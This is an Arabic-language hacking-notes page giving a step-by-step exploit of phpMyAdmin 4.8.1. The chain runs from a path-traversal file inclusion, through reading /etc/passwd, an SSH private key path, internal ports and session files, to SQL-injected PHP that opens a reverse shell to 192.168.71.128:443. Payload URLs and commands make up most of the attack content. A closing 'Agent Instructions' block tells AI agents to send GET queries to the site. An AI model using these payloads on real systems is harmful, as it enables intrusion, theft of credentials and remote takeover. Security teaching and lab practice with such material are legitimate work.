> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**تحديد ثغرة تنفيذ الأوامر عن بُعد في phpMyAdmin**

بعد تحديد أن إصدار phpMyAdmin 4.8.1 قابل للاستغلال، استخدم SearchExploit للعثور على الثغرات المطابقة وتأكيد [تنفيذ الأوامر عن بُعد](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="/files/690a1a44c1bb8f309ac84926bd09f388b696ed05" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6fa441479146d0aed9b6aa23cf130410e29f7bc" alt=""><figcaption></figcaption></figure>

## ثغرة تنفيذ الأوامر عن بُعد

استغل مسار تنفيذ الأوامر عن بُعد عبر حقن البرنامج النصي التالي في الرابط لقراءة `/etc/passwd`:

<figure><img src="/files/218cc7a6f3d52cf22a07ad6909b188b9e298632e" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/61c34fef775fcea2602be2bb10535af244c1da17" alt=""><figcaption></figcaption></figure>

**محاولة استرجاع `admin` المفتاح الخاص SSH للمستخدم**

حاول الوصول إلى `admin` المفتاح الخاص SSH للمستخدم باستخدام الرابط التالي، لكنه يُرجع خطأً:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/d37c906df190cab026affd98d8b16f70a7756175" alt=""><figcaption></figcaption></figure>

**تعداد منافذ الشبكة الداخلية الخاصة**

استخدم الرابط التالي لسرد منافذ الخادم الداخلية عبر `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/be43503ea202e43ebb8856b7c90cdafdaaa26b18" alt=""><figcaption></figcaption></figure>

احفظ هذه المنافذ في ملف `بيانات` لاستخدامها لاحقًا في التحليل.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f30984ed813c74e39e52e607ec49c6cc9ac41e41" alt=""><figcaption></figcaption></figure>

**تحديد الدليل الذي يحتوي على جلسات phpMyAdmin**

من خلال مراجعة البرنامج النصي، حدّد الدليل الذي يحتوي على جلسات phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/e4612f02e4a70c0b3b21fdfdedbc34f1ebeb2ce5" alt=""><figcaption></figcaption></figure>

## حقن أوامر phpMyAdmin

**استخدام ملف تعريف الارتباط الخاص بجلسة phpMyAdmin لحقن الأوامر**

<figure><img src="/files/afbdb9cf51e9a4a5a1136651d979c509903fe715" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/e49a4b25a90ab17af3c88124b6ace1853adba737" alt=""><figcaption></figcaption></figure>

#### يُفسِّر هذا الملف الأوامر من الاستعلامات.

```sql
SELECT 'testing';
```

<figure><img src="/files/5b08f68bd697aa045fe0d1ad8c1f410827e1fe54" alt=""><figcaption></figcaption></figure>

**حقن أوامر SQL للحصول على** [**شل عكسي**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**يتم الوصول إلى الجهاز بنجاح أخيرًا:**

<figure><img src="/files/38e2097c33c1fa60474dafe441fb4d3c2440b2ec" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
